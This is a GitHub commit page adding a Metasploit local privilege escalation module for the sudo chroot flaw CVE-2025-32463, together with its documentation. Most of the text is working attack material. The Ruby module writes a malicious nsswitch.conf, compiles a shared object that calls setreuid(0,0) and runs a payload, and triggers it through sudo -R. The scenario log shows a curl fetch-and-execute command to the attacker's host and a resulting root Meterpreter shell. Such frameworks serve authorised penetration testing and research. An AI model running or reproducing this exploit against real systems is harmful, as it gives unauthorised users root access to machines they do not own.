Skip to content

Commit da7224e

Browse files
authored
Merge pull request rapid7#20376 from msutovsky-r7/exploit/sudo-chroot-privesc
Adds module for sudo chroot LPE (CVE-2025-32463)
2 parents 0bc993b + eef1d34 commit da7224e

File tree

2 files changed

+247
-0
lines changed

2 files changed

+247
-0
lines changed
Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
## Vulnerable Application
2+
3+
4+
Sudo before version 1.9.14-1.9.17p1 allows user to use `chroot` option, when executing command. The option is intended to run a command with user-selected root directory (if sudoers file allow it). Change in version 1.9.14 allows resolving paths via `chroot` using user-specified root directory when sudoers is still evaluating. This allows the attacker to trick Sudo into loading arbitrary shared object. As target shared object, Name Service Switch (NSS) operations are trigged before resolving sudoers, but after running `chroot` syscall. The module requires existing session and requires compiler on target machine (e.g. `gcc`).
5+
6+
## Installation
7+
8+
1. Create `Dockerfile`:
9+
```
10+
# ----- Dockerfile -----
11+
FROM ubuntu:24.04
12+
13+
ENV DEBIAN_FRONTEND=noninteractive
14+
15+
RUN apt-get update && \
16+
apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \
17+
pkg-config libssl-dev git ca-certificates && \
18+
rm -rf /var/lib/apt/lists/*
19+
20+
WORKDIR /opt
21+
RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \
22+
tar xzf sudo-1.9.16p2.tar.gz && \
23+
cd sudo-1.9.16p2 && \
24+
./configure --disable-gcrypt --prefix=/usr && make && make install
25+
26+
RUN useradd -m -s /bin/bash msfuser
27+
28+
USER msfuser
29+
WORKDIR /home/msfuser
30+
31+
CMD ["/bin/bash"]
32+
```
33+
1. `docker build -t sudo-chroot .`
34+
1. `docker run -it --rm --privileged sudo-chroot`
35+
36+
37+
## Verification Steps
38+
39+
40+
1. Start msfconsole
41+
2. Get existing session to low-privileged user
42+
3. Do: `use linux/local/sudo_chroot_cve_2025_32463`
43+
4. Set target payload
44+
5. Do: `set lhost [attacker IP address]`
45+
6. Do: `set lport [attacker port]`
46+
7. Do: `run`
47+
48+
## Options
49+
50+
### COMPILE
51+
52+
Option setting if compile target payload on the target.
53+
54+
### COMPILER
55+
56+
Option setting the compiler to compile target payload.
57+
58+
59+
## Scenarios
60+
61+
```
62+
msf6 exploit(linux/local/sudo_chroot_cve_2025_32463) > run verbose=true
63+
[*] Command to run on remote host: curl -so ./YoGpAgWbO http://192.168.168.128:8080/Q7JGOkCYlO14PhxIQeJRIQ;chmod +x ./YoGpAgWbO;./YoGpAgWbO&
64+
[*] Fetch handler listening on 192.168.168.128:8080
65+
[*] HTTP server started
66+
[*] Adding resource /Q7JGOkCYlO14PhxIQeJRIQ
67+
[*] Started reverse TCP handler on 192.168.168.128:4444
68+
[*] Running automatic check ("set AutoCheck false" to disable)
69+
[+] The target appears to be vulnerable. Running version 1.9.16.2
70+
[*] Writing '/tmp/Xw1XwkTPC' (117 bytes) ...
71+
[*] Max line length is 65537
72+
[*] Writing 117 bytes in 1 chunks of 420 bytes (octal-encoded), using printf
73+
[*] Creating directory /tmp/ugJjJFSc9q
74+
[*] /tmp/ugJjJFSc9q created
75+
[*] Max line length is 65537
76+
[*] Writing 216 bytes in 1 chunks of 763 bytes (octal-encoded), using printf
77+
[*] Client 192.168.168.140 requested /Q7JGOkCYlO14PhxIQeJRIQ
78+
[*] Sending payload to 192.168.168.140 (curl/8.14.1)
79+
[*] Transmitting intermediate stager...(126 bytes)
80+
[*] Launching exploit...
81+
[*] Sending stage (3090404 bytes) to 192.168.168.140
82+
[+] Deleted /tmp/Xw1XwkTPC
83+
[+] Deleted /tmp/ugJjJFSc9q
84+
[*] Meterpreter session 10 opened (192.168.168.128:4444 -> 192.168.168.140:41672) at 2025-07-10 16:12:58 +0200
85+
86+
meterpreter > sysinfo
87+
Computer : kali.kali
88+
OS : Debian (Linux 6.12.25-amd64)
89+
Architecture : x64
90+
BuildTuple : x86_64-linux-musl
91+
Meterpreter : x64/linux
92+
meterpreter > getuid
93+
Server username: root
94+
```
Lines changed: 153 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,153 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = NormalRanking
8+
9+
include Msf::Post::Linux::Priv
10+
include Msf::Post::Linux::System
11+
include Msf::Post::Linux::Compile
12+
include Msf::Post::Linux::Packages
13+
include Msf::Exploit::EXE
14+
include Msf::Exploit::FileDropper
15+
16+
prepend Msf::Exploit::Remote::AutoCheck
17+
18+
def initialize(info = {})
19+
super(
20+
update_info(
21+
info,
22+
'Name' => 'Sudo Chroot 1.9.17 Privilege Escalation',
23+
'Description' => %q{
24+
Sudo before version 1.19.17p1 allows user to use `chroot` option, when
25+
executing command. The option is intended to run a command with
26+
user-selected root directory (if sudoers file allow it). Change in version
27+
1.9.14 allows resolving paths via `chroot` using user-specified root
28+
directory when sudoers is still evaluating.
29+
This allows the attacker to trick Sudo into loading arbitrary shared object,
30+
thus resulting in a privilege escalation.
31+
},
32+
'License' => MSF_LICENSE,
33+
34+
'Author' => [
35+
'msutovsky-r7', # module dev
36+
'Stratascale', # poc dev
37+
'Rich Mirch' # security research
38+
],
39+
'Platform' => [ 'linux' ],
40+
41+
'Arch' => [ ARCH_CMD ],
42+
43+
'SessionTypes' => [ 'shell', 'meterpreter' ],
44+
45+
'Targets' => [[ 'Auto', {} ]],
46+
47+
'Privileged' => true,
48+
49+
'References' => [
50+
[ 'EDB', '52352' ],
51+
[ 'URL', 'https://www.helpnetsecurity.com/2025/07/01/sudo-local-privilege-escalation-vulnerabilities-fixed-cve-2025-32462-cve-2025-32463/'],
52+
[ 'CVE', '2025-32463']
53+
],
54+
'DisclosureDate' => '2025-06-30',
55+
56+
'DefaultTarget' => 0,
57+
58+
'Notes' => {
59+
'Stability' => [CRASH_SAFE],
60+
'Reliability' => [REPEATABLE_SESSION],
61+
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
62+
}
63+
)
64+
)
65+
66+
# force exploit is used to bypass the check command results
67+
register_advanced_options [
68+
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
69+
]
70+
end
71+
72+
# borrowed from exploits/linux/local/sudo_baron_samedit.rb
73+
def get_version
74+
versions = {}
75+
output = cmd_exec('sudo --version')
76+
if output
77+
version = output.split("\n").first.split(' ').last
78+
versions[:sudo] = version if version =~ /^\d/
79+
end
80+
versions[:sudo].gsub(/p/, '.')
81+
end
82+
83+
def check
84+
sudo_version = installed_package_version('sudo') || get_version
85+
86+
return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.blank?
87+
88+
return CheckCode::Safe if !file?('/etc/nsswitch.conf')
89+
90+
return CheckCode::Appears("Running version #{sudo_version}") if Rex::Version.new(sudo_version).between?(Rex::Version.new('1.9.14'), Rex::Version.new('1.9.17'))
91+
92+
CheckCode::Safe("Sudo #{sudo_version} is not vulnerable")
93+
end
94+
95+
def exploit
96+
# Check if we're already root
97+
if !datastore['ForceExploit'] && is_root?
98+
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
99+
end
100+
101+
# needs to compile in real-time to adjust payload execution path
102+
fail_with Failure::NotFound, 'Module needs to compile payload on target machine' unless live_compile?
103+
104+
payload_file = rand_text_alphanumeric(5..10)
105+
106+
existing_shell = cmd_exec('echo $0 || echo ${SHELL}')
107+
108+
return Failure::NotFound, 'Could not find shell' unless file?(existing_shell)
109+
110+
upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!#{existing_shell}\n#{payload.encoded}")
111+
112+
register_files_for_cleanup("#{datastore['WritableDir']}/#{payload_file}")
113+
114+
temp_dir = "#{datastore['WritableDir']}/#{rand_text_alphanumeric(5..10)}"
115+
116+
base_dir = rand_text_alphanumeric(5..10)
117+
118+
lib_filename = rand_text_alphanumeric(5..10)
119+
120+
mkdir(temp_dir)
121+
122+
cd(temp_dir)
123+
124+
mkdir(base_dir.to_s)
125+
126+
mkdir("#{base_dir}/etc")
127+
128+
mkdir('libnss_')
129+
130+
return Failure::PayloadFailed, 'Failed to create malicious nsswitch.conf file' unless write_file("#{base_dir}/etc/nsswitch.conf", "passwd: /#{lib_filename}\n")
131+
132+
return Failure::PayloadFailed, 'Failed to copy /etc/group' unless copy_file('/etc/group', "#{base_dir}/etc/group")
133+
134+
exploit_code = %<
135+
#include <unistd.h>
136+
137+
__attribute__((constructor))
138+
void exploit(void) {
139+
setreuid(0,0);
140+
execve("#{datastore['WritableDir']}/#{payload_file}",NULL,NULL);
141+
142+
}>
143+
144+
upload_and_compile("#{temp_dir}/libnss_/#{lib_filename}.so.2", exploit_code, "-shared -fPIC -Wl,-init,#{base_dir}")
145+
146+
cmd_exec("sudo -R #{base_dir} #{base_dir}")
147+
148+
timeout = 30
149+
print_status 'Launching exploit...'
150+
output = cmd_exec 'command', nil, timeout
151+
output.each_line { |line| vprint_status line.chomp }
152+
end
153+
end

0 commit comments

Comments
 (0)